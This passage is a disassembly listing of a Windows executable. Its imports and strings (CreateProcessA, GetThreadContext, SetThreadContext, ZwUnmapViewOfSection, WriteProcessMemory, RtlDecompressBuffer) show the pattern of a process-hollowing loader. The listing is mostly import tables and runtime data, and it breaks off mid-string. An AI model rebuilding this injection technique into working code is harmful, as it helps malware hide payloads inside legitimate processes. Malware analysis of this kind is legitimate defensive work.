jmp ds:LCMapStringA ; --------------------------------------------------------------------------- jmp ds:LCMapStringW ; --------------------------------------------------------------------------- jmp ds:HeapSize ; --------------------------------------------------------------------------- jmp ds:QueryPerformanceCounter ; --------------------------------------------------------------------------- jmp ds:GetTickCount ; --------------------------------------------------------------------------- jmp ds:GetCurrentThreadId ; --------------------------------------------------------------------------- jmp ds:GetCurrentProcessId ; --------------------------------------------------------------------------- jmp ds:GetSystemTimeAsFileTime ; --------------------------------------------------------------------------- jmp ds:GetLocaleInfoA ; --------------------------------------------------------------------------- jmp ds:VirtualProtect ; --------------------------------------------------------------------------- jmp ds:GetSystemInfo ; --------------------------------------------------------------------------- jmp ds:MessageBoxA ; =============== S U B R O U T I N E ======================================= sub_407908 proc near ; DATA XREF: .data:0040A008o push offset aSetthreadconte ; "SetThreadContext" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_44415C, eax retn sub_407908 endp ; =============== S U B R O U T I N E ======================================= sub_407925 proc near ; DATA XREF: .data:0040A00Co push offset aZwunmapviewofs ; "ZwUnmapViewOfSection" push offset LibFileName ; "ntdll.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_444158, eax retn sub_407925 endp ; --------------------------------------------------------------------------- align 100h _text ends ; Section 2. (virtual address 00008000) ; Virtual size : 00001712 ( 5906.) ; Section size in file : 00001800 ( 6144.) ; Offset to raw data for section: 00006E00 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from KERNEL32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_401000+77p ; DATA XREF: sub_401000+77r ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_401000+3Ap ; sub_401000+45p ... ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_401000+21p ; ___crtMessageBoxA+18p ; DATA XREF: ... ; SIZE_T __stdcall VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn VirtualQueryEx:dword ; CODE XREF: sub_4014E9+11p ; DATA XREF: sub_4014E9+11r ... ; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead) extrn ReadProcessMemory:dword ; CODE XREF: sub_401501+61p ; DATA XREF: sub_401501+61r ... ; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) extrn GetThreadContext:dword ; CODE XREF: sub_401501+46p ; DATA XREF: sub_401501+46r ... ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) extrn CreateProcessA:dword ; CODE XREF: sub_401501+2Bp ; DATA XREF: sub_401501+2Br ... ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_4015DE+E2p ; WinMain(x,x,x,x)+4Fp ... ; BOOL __stdcall VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtectEx:dword ; CODE XREF: sub_4015DE+3Ap ; DATA XREF: sub_4015DE+3Ar ... ; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAllocEx:dword ; CODE XREF: sub_4015DE+72p ; sub_4015DE+9Ep ; DATA XREF: ... ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: sub_401745+Dp ; DATA XREF: sub_401745+Dr ... ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn ReadFile:dword ; CODE XREF: sub_401759+52p ; DATA XREF: sub_401759+52r ... ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn GetFileSize:dword ; CODE XREF: sub_401759+28p ; DATA XREF: sub_401759+28r ... ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn CreateFileA:dword ; CODE XREF: sub_401759+1Bp ; DATA XREF: sub_401759+1Br ... ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes) extrn SetFileAttributesA:dword ; CODE XREF: WinMain(x,x,x,x)+39p ; DATA XREF: WinMain(x,x,x,x)+39r ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn GetModuleFileNameA:dword ; CODE XREF: WinMain(x,x,x,x)+1Bp ; __NMSG_WRITE+81p ... ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: __heap_alloc+3Ep ; ___sbh_heap_init+Dp ... ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn GetStartupInfoA:dword ; CODE XREF: start+160p ; __ioinit+57p ; DATA XREF: ... ; LPSTR __stdcall GetCommandLineA() extrn GetCommandLineA:dword ; CODE XREF: start:loc_401F8Fp ; DATA XREF: start:loc_401F8Fr ... ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; CODE XREF: start+20p ; DATA XREF: start+20r ... ; BOOL __stdcall HeapDestroy(HANDLE hHeap) extrn HeapDestroy:dword ; CODE XREF: __heap_init+44p ; .text:00402142p ; DATA XREF: ... ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: __heap_init+11p ; DATA XREF: __heap_init+11r ... ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn VirtualFree:dword ; CODE XREF: .text:00402102p ; .text:0040210Dp ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: .text:0040211Ap ; .text:00402138p ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+7Ep ; ___sbh_alloc_new_group+52p ... ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) extrn HeapReAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+27p ; _realloc+FDp ... ; BOOL __stdcall IsBadWritePtr(LPVOID lp, UINT_PTR ucb) extrn IsBadWritePtr:dword ; CODE XREF: ___sbh_heap_check+1Bp ; ___sbh_heap_check+55p ... ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: unknown_libname_1+29p ; sub_405515-7p ; DATA XREF: ... ; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode) extrn TerminateProcess:dword ; CODE XREF: _doexit+1Ap ; DATA XREF: _doexit+1Ar ... ; HANDLE __stdcall GetCurrentProcess() extrn GetCurrentProcess:dword ; CODE XREF: _doexit+13p ; DATA XREF: _doexit+13r ... ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; CODE XREF: __NMSG_WRITE+155p ; DATA XREF: __NMSG_WRITE+155r ... ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn GetStdHandle:dword ; CODE XREF: __NMSG_WRITE+14Ep ; __ioinit+157p ; DATA XREF: ... ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn UnhandledExceptionFilter:dword ; CODE XREF: __XcptFilter+167p ; DATA XREF: __XcptFilter+167r ... ; BOOL __stdcall FreeEnvironmentStringsA(LPCH) extrn FreeEnvironmentStringsA:dword ; CODE XREF: ___crtGetEnvironmentStringsA+113p ; DATA XREF: ___crtGetEnvironmentStringsA+113r ... ; LPCH __stdcall GetEnvironmentStrings() extrn GetEnvironmentStrings:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_403F1Ap ; DATA XREF: ___crtGetEnvironmentStringsA:loc_403F1Ar ... ; BOOL __stdcall FreeEnvironmentStringsW(LPWCH) extrn FreeEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+C1p ; DATA XREF: ___crtGetEnvironmentStringsA+C1r ... ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn WideCharToMultiByte:dword ; CODE XREF: ___crtGetEnvironmentStringsA+86p ; ___crtGetEnvironmentStringsA+A8p ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_403E73p ; ___crtGetStringTypeA:loc_405DF9p ... ; LPWCH __stdcall GetEnvironmentStringsW() extrn GetEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+1Cp ; ___crtGetEnvironmentStringsA+52p ; DATA XREF: ... ; UINT __stdcall SetHandleCount(UINT uNumber) extrn SetHandleCount:dword ; CODE XREF: __ioinit+19Cp ; DATA XREF: __ioinit+19Cr ... ; DWORD __stdcall GetFileType(HANDLE hFile) extrn GetFileType:dword ; CODE XREF: __ioinit+FEp ; __ioinit+165p ; DATA XREF: ... ; UINT __stdcall GetACP() extrn GetACP:dword ; CODE XREF: __setmbcp+42p ; DATA XREF: .text:0040565Er ... ; UINT __stdcall GetOEMCP() extrn GetOEMCP:dword ; CODE XREF: __setmbcp+2Bp ; DATA XREF: .text:00405649r ... ; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo) extrn GetCPInfo:dword ; CODE XREF: _setSBUpLow+1Cp ; __setmbcp+93p ... extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value) extrn InterlockedExchange:dword ; CODE XREF: __ValidateEH3RN+131p ; __ValidateEH3RN+196p ... ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn VirtualQuery:dword ; CODE XREF: __ValidateEH3RN+B3p ; __resetstkoflw+1Ap ... ; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeA:dword ; CODE XREF: ___crtGetStringTypeA+19Cp ; DATA XREF: ___crtGetStringTypeA+19Cr ... ; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) extrn MultiByteToWideChar:dword ; CODE XREF: ___crtGetStringTypeA+98p ; ___crtGetStringTypeA+116p ... ; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeW:dword ; CODE XREF: ___crtGetStringTypeA+24p ; ___crtGetStringTypeA+128p ; DATA XREF: ... ; int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest) extrn LCMapStringA:dword ; CODE XREF: ___crtLCMapStringA+2C3p ; ___crtLCMapStringA+344p ... ; int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest) extrn LCMapStringW:dword ; CODE XREF: ___crtLCMapStringA+27p ; ___crtLCMapStringA+15Bp ... ; SIZE_T __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem) extrn HeapSize:dword ; CODE XREF: __msize+30p ; DATA XREF: __msize+30r ... ; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount) extrn QueryPerformanceCounter:dword ; CODE XREF: ___security_init_cookie+43p ; DATA XREF: ___security_init_cookie+43r ... ; DWORD __stdcall GetTickCount() extrn GetTickCount:dword ; CODE XREF: ___security_init_cookie+37p ; DATA XREF: ___security_init_cookie+37r ... ; DWORD __stdcall GetCurrentThreadId() extrn GetCurrentThreadId:dword ; CODE XREF: ___security_init_cookie+2Fp ; DATA XREF: ___security_init_cookie+2Fr ... ; DWORD __stdcall GetCurrentProcessId() extrn GetCurrentProcessId:dword ; CODE XREF: ___security_init_cookie+27p ; DATA XREF: ___security_init_cookie+27r ... ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime) extrn GetSystemTimeAsFileTime:dword ; CODE XREF: ___security_init_cookie+1Bp ; DATA XREF: ___security_init_cookie+1Br ... ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn GetLocaleInfoA:dword ; CODE XREF: ___ansicp+20p ; DATA XREF: ___ansicp+20r ... ; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtect:dword ; CODE XREF: __resetstkoflw+D5p ; DATA XREF: __resetstkoflw+D5r ... ; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo) extrn GetSystemInfo:dword ; CODE XREF: __resetstkoflw+2Bp ; DATA XREF: __resetstkoflw+2Br ... ; ; Imports from USER32.dll ; ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn MessageBoxA:dword ; CODE XREF: sub_401501+82p ; DATA XREF: sub_401501+82r ... ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 4080FCh align 10h aFeeeeeeeeeeeee db 'FEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE' ; DATA XREF: .data:0040A04Co db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE###############################' db '#################################################EEEEEEEEEEEEEEEE' db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESDFE',0 align 10h aDeeeeeeeeeeeee db 'DEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE' ; DATA XREF: .data:0040A048o db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE###############################' db '#################################################EEEEEEEEEEEEEEEE' db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESDFE',0 align 10h aEeeeeeeeeeeeee db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE' ; DATA XREF: .data:0040A044o db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE################################' db '################################################EEEEEEEEEEEEEEEEE' db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESDFE',0 align 10h ; char aRtlgetcompress[] aRtlgetcompress db 'RtlGetCompressionWorkSpaceSize',0 ; DATA XREF: sub_401000+3Co align 10h ; char ProcName[] ProcName db 'RtlDecompressBuffer',0 ; DATA XREF: sub_401000+34o ; char LibFileName[] LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_401000+1Co ; sub_407925+5o align 10h ; char Text[] Text db 'fsdfsdagsfdhgsfdhfgdhfdhgfdhgfd',0 ; DATA XREF: sub_401501+7Co ; char Caption[] Caption db 4 dup(0) ; DATA XREF: sub_401501+77o ; __wincmdln+1Bo ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_4015DE+DDo ; WinMain(x,x,x,x)+4Ao ... align 4 ; char aWriteprocessme[] aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_4015DE+D8o ; WinMain(x,x,x,x)+E6o align 4 ; char aVirtualalloc[] aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+45o align 4 ; char aSetthreadconte[] aSetthreadconte db 'SetThreadContext',0 ; DATA XREF: sub_407908o align 4 ; char aZwunmapviewofs[] aZwunmapviewofs db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_407925o align 8 ; const CHAR stru_4084C8 stru_4084C8 _msEH <0FFFFFFFFh, offset loc_402025, offset loc_402039> ; DATA XREF: start+2o align 8 dbl_4084D8 dq 0.0 ; DATA XREF: .text:004031A6r ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o align 4 dbl_4084E8 dq 1.0 ; DATA XREF: __ms_p5_test_fdiv+2Ar dbl_4084F0 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_4084F8 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r ; char aIsprocessorfea[] aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 ; char aKernel32[] aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 4 ; char aCorexitprocess[] aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 ; char aMscoree_dll[] aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_40A08Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o ; ___security_error_handler+132o align 10h ; char asc_408910[] asc_408910 db 0Ah ; DATA XREF: __NMSG_WRITE+107o ; ___security_error_handler+FCo db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o ; ___security_error_handler+CCo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo ; ___security_error_handler+8Bo align 10h stru_408950 _msEH <0FFFFFFFFh, offset loc_404160, offset loc_404164> ; DATA XREF: sub_404133+2o align 10h stru_408960 _msEH <0FFFFFFFFh, offset loc_4041A4, offset loc_4041A8> ; DATA XREF: sub_404177+2o dd 41h dup(0) asc_408A70: ; DATA XREF: .data:off_40A1BCo unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) db 2 dup(0) word_408C72 dw 20h ; DATA XREF: .data:off_40A1C0o aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h ; char aGetprocesswind[] aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o ; char aGetuserobjecti[] aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 4 ; char aGetlastactivep[] aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 ; char aGetactivewindo[] aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo ; char aMessageboxa[] aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo ; char aUser32_dll[] aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 8 stru_408EE8 _msEH <0FFFFFFFFh, offset sub_405501, offset sub_405505> ; DATA XREF: sub_405515-2Fo ; const WCHAR SrcStr SrcStr dw 0 ; DATA XREF: ___crtGetStringTypeA+1Eo ; ___crtLCMapStringA+1Co align 4 stru_408EF8 _msEH <0FFFFFFFFh, offset loc_405E9C, offset loc_405EA0> ; DATA XREF: ___crtGetStringTypeA+2o align 8 stru_408F08 _msEH <0FFFFFFFFh, offset loc_406292, offset loc_406296> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 40608Fh, 406093h, 0FFFFFFFFh, 40615Dh, 406161h ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_406ACCo align 4 ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+CFo align 4 a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+BEo align 4 a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+A4o align 4 ; char aProgram[] aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o align 4 aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: ___security_error_handler+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: ___security_error_handler:loc_406ECBo align 8 aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: ___security_error_handler+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 ; char aUnknownSecurit[] aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: ___security_error_handler+47o align 10h stru_4090F0 _msEH <0FFFFFFFFh, offset loc_406EA6, offset loc_406EAA> ; DATA XREF: ___security_error_handler+5o align 10h stru_409100 _msEH <0FFFFFFFFh, offset loc_4070E7, offset loc_4070EB> ; DATA XREF: ___convertcp+2o align 10h dd 48h, 0Eh dup(0) dd offset dword_40A200 dd offset dword_409160 dd 2, 2 dup(0) dword_409160 dd 4210h, 5ACCh, 0dword_40916C dd 2 dup(0) ; sub_404133:loc_404146o dword_409174 dd 0 ; sub_404177:loc_40418Ao dd 91B4h, 2 dup(0) dd 96EAh, 8000h, 92ACh, 2 dup(0) dd 9706h, 80F8h, 5 dup(0) dd 92B4h, 92C2h, 92D4h, 92E4h, 92F6h, 930Ah, 931Eh, 9330h dd 9344h, 9358h, 936Ah, 937Ah, 9386h, 9394h, 93A2h, 93B8h dd 93CEh, 93DAh, 93ECh, 93FEh, 940Eh, 941Ch, 942Ah, 9438h dd 9444h, 9454h, 9462h, 9472h, 9480h, 9494h, 94A8h, 94B4h dd 94C4h, 94E0h, 94FAh, 9512h, 952Ch, 9542h, 9552h, 956Ch dd 957Eh, 958Ch, 9596h, 95A2h, 95AEh, 95BAh, 95D0h, 95E0h dd 95F2h, 9608h, 961Ah, 962Ah, 963Ah, 9646h, 9660h, 9670h dd 9686h, 969Ch, 96B6h, 96C8h, 96DAh, 0 dd 96F8h, 0 dd 724600EFh, 694C6565h, 72617262h, 1980079h, 50746547h dd 41636F72h, 65726464h, 7373h, 6F4C0248h, 694C6461h, 72617262h dd 4179h, 6956037Ch, 61757472h, 6575516Ch, 78457972h, 2AC0000h aReadprocessmem db 'ReadProcessMemory',0 dw 1CDh aGetthreadconte db 'GetThreadContext',0 align 2 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 10h dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Ah dd 61757472h, 6F72506Ch, 74636574h, 7845h, 69560374h, 61757472h dd 6C6C416Ch, 7845636Fh, 2C50000h, 75736552h, 6854656Dh dd 64616572h, 2A90000h, 64616552h, 656C6946h, 15B0000h dd 46746547h, 53656C69h, 657A69h, 7243004Dh, 65746165h dd 656C6946h, 30C0041h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 206h aHeapalloc db 'HeapAlloc',0 dw 1AFh aGetstartupinfo db 'GetStartupInfoA',0 db 8 db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1DFh aGetversionexa db 'GetVersionExA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 db 8 db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 376h aVirtualfree db 'VirtualFree',0 db 0Ch db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 73h ; s db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 10h db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 22Ch aIsbadwriteptr db 'IsBadWritePtr',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 db 4Fh ; O db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 4 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 94h ; ” db 3, 57h, 72h aItefile db 'iteFile',0 db 0B1h ; ± db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 60h ; ` db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 10h aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 87h ; ‡ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h dd 46746547h, 54656C69h, 657079h, 654700F5h, 50434174h dd 18B0000h, 4F746547h, 50434D45h, 0FC0000h, 43746547h dd 666E4950h, 2CA006Fh, 556C7452h, 6E69776Eh, 21F0064h aInterlockedexc db 'InterlockedExchange',0 dd 6956037Bh, 61757472h, 6575516Ch, 7972h, 654701B2h, 72745374h dd 54676E69h, 41657079h, 26B0000h aMultibytetowid db 'MultiByteToWideChar',0 dd 654701B5h, 72745374h, 54676E69h, 57657079h, 23A0000h dd 614D434Ch, 72745370h, 41676E69h, 23B0000h, 614D434Ch dd 72745370h, 57676E69h, 2120000h, 70616548h, 657A6953h dd 2970000h aQueryperforman db 'QueryPerformanceCounter',0 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 10h db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 